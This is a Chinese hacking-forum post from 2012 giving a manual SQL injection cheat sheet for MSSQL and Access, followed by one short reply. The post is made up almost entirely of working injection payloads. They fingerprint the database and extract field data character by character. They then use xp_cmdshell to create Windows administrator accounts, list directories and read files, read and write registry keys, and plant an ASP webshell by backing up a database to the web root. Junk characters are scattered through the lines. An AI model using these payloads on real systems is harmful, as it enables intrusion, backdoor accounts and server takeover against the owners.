找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2360|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
3 L: D! Z4 h4 v' ]* ?1.判断是否有注入;and 1=1 ;and 1=2 ' f9 {+ G5 Y$ j: l, F: P4 d
0 q1 @7 i, F( f5 r& U
2.初步判断是否是mssql ;and user>0
0 F6 r1 s# v* h, @0 w  S. I! @# F" g2 W( f2 y
3.注入参数是字符'and [查询条件] and ''=' + Q/ d6 L- V% @2 V7 A9 i5 ?
, M3 ^& J0 \: U8 v8 p& [9 z
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ' C3 f' I& }+ F' H7 U1 e8 Y' V0 _
$ k% P+ c  D0 X  }9 G* e
5.判断数据库系统
  }  S! o' q2 [% c;and (select count(*) from sysobjects)>0 mssql
8 B5 c4 N  J8 F2 ]* E;and (select count(*) from msysobjects)>0 access : a( r' b& f  F- H0 Z

: x4 Q5 ?- b- \& d! k6.猜数据库 ;and (select Count(*) from [数据库名])>0 6 d) e  {+ |( [% z. F

  e$ N3 q/ Y! G& h7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1 C6 H1 u2 i6 j( }$ [% s* k

/ C! l5 v3 V1 Y. }8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
# R7 z, ^' M( |, j" ?7 C
% w- F5 o* `3 j$ j2 q9.(1)猜字段的ascii值(access) 3 F  B- {5 O' }
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 + q; W/ u( m3 _- K" p
* a8 @/ K' S' l1 _- P
(2)猜字段的ascii值(mssql) 9 B/ k4 b" y+ U3 w; x4 Y' r) z+ O
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
& O2 ?, ^9 K5 Q  O5 l6 T. Y* f7 x, H" W: V7 V) ?2 {
10.测试权限结构(mssql)
* A0 x, _  j( V) C;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
# Q& ?) E3 H0 Q! J;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- % O5 K: [/ A* n0 S9 {8 L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
) D6 D8 E0 [2 K; h2 p  H  j;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- & f# q  q5 e- H9 I
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ( o/ i' [: ~" _. r
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) P1 N! @  B( R3 V* M* @;and 1=(select IS_MEMBER('db_owner'));--   P, w, i4 }8 h2 f

, N5 q, `2 c4 N1 C11.添加mssql和系统的帐户
* E( q7 U' X. P2 A" M7 m0 I. I;exec master.dbo.sp_addlogin username;-- # }4 D4 A6 ?4 F3 N! o5 t0 }# ~+ ]
5 {4 {/ t9 T$ |8 g- C
;exec master.dbo.sp_password null,username,password;-- " [# l( d* s4 a# E# ~% h
& k3 T+ I; K. L9 i# F  t
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
  K2 }  h% b( ~1 e( C' m: V  l2 b
;exec master.dbo.xp_cmdshell 'net user username password & \4 B% C3 Z3 e) `! f0 X2 q5 ~
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 3 ?6 s/ k. ]' E' ^* U+ q. c. j

1 U/ v- m" h4 U3 }8 |& K+ X;exec master.dbo.xp_cmdshell 'net user username password /add';--
  H/ a: T% g. M/ ^+ s+ U4 S8 R' e' p& d$ @% L+ r% O
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
: q8 ^; e  ]7 `1 v$ g
1 S* P: J* }1 M; j: ^5 h5 T12.(1)遍历目录 " c' N1 o8 N. t9 F9 L8 ~2 s

9 J" _9 c$ U- I3 q& V% W- h# o& j;create table dirs(paths varchar(100), id int)
4 G$ L7 g( Y9 ?7 |# [+ a( Y+ v, s;insert dirs exec master.dbo.xp_dirtree 'c:\'
& g; p* C* i, R# o4 L;and (select top 1 paths from dirs)>0 8 g* b5 C& l! w! ~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ( U9 K3 @$ _3 @( ]
, B* T9 i* k2 u9 x
(2)遍历目录 ( u, N9 ]& H- r9 s8 W
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) I; m6 ~2 X4 c, }4 l;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 # E5 Z; t# d8 s- W
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
: K6 [  x3 l9 T;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
4 ^1 p/ Q. X8 K0 B0 p8 \  l;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 : P$ b, b5 F6 \" q7 k% p

  Y4 [# W. g' Q8 C9 l0 W: {1 @; W- N, x13.mssql中的存储过程 . t$ E! F; @0 c0 g3 G8 a; @+ Y5 b
4 [  w. h7 B. |& j/ T& L
xp_regenumvalues 注册表根键, 子键 + |% l; o, o8 v$ V# K
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 * N  m+ ]+ I. I( T" K3 s

1 `! [3 B: B7 E3 d! Xxp_regread 根键,子键,键值名
8 |$ s% d( K% O( ^& y;exec xp_regread
0 n, ?9 f/ M' }'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
6 u$ j) w& T. @9 @- V0 M/ p/ a1 e2 U6 v" f& _* M9 E
xp_regwrite 根键,子键, 值名, 值类型, 值 / |& m: _$ M; _/ p' v- v* @
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 & k$ |* m+ n  S- g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 2 n- {( T9 t! a: V" G& @

1 K, _$ ^+ U1 K! d& {( B, t1 T& pxp_regdeletevalue 根键,子键,值名 # w2 t( I  {% h$ v
) \% R8 h' I7 B. m# z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 - Z& E( ^$ a+ E9 Z) l
" f$ L4 s% t0 U0 C, u; }; Q# G
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! z, t: P( ?8 o4 Y

, V8 s9 S/ X( o6 H14.mssql的backup创建webshell   I6 y, z, T* K- a3 h/ k7 t, B; h
use model $ o, p. k+ S: m  R' A3 k! f. o
create table cmd(str image); # ]8 q1 G$ F/ Z$ L: Z  a) ~
insert into cmd(str) values ('');
7 ^# F5 `% U7 E2 d+ x7 A- qbackup database model to disk='c:\l.asp';
. j. `0 G, T" u- ]8 ~2 W0 e5 O+ y( q
15.mssql内置函数
; Z' y8 X  F# B4 p( x. [;and (select @@version)>0 获得Windows的版本号 9 t- w3 d  k0 n9 O
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
' p0 ]5 f1 e- m& ~;and (select user_name())>0 爆当前系统的连接用户 * Z- d6 E3 n$ V; ^
;and (select db_name())>0 得到当前连接的数据库 ; c+ S( M! }4 l6 C+ c5 ~+ O  j! C' \8 ?

2 u' Y+ f2 e6 }' H0 w16.简洁的webshell & F; I6 S' C% j0 [9 \- B5 B

9 c, M6 p' f+ q: o. g' cuse model " l& ?: B9 W& ~6 j% W9 I

: ^: N1 [3 U' F; R1 t  v# [7 X6 ~create table cmd(str image);
9 b6 X' X% j8 f& f& z
) L; S& e& \/ o& Dinsert into cmd(str) values (''); : P* ]6 k( Q1 q! J: w1 Z+ V
2 ^; }& h# c0 n$ K' g
backup database model to disk='g:\wwwtest\l.asp'; ! X( r/ l% Y- }  m! H% w9 J

8 j0 ~8 K. E4 [2 ?* d- h6 c- @2 v
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表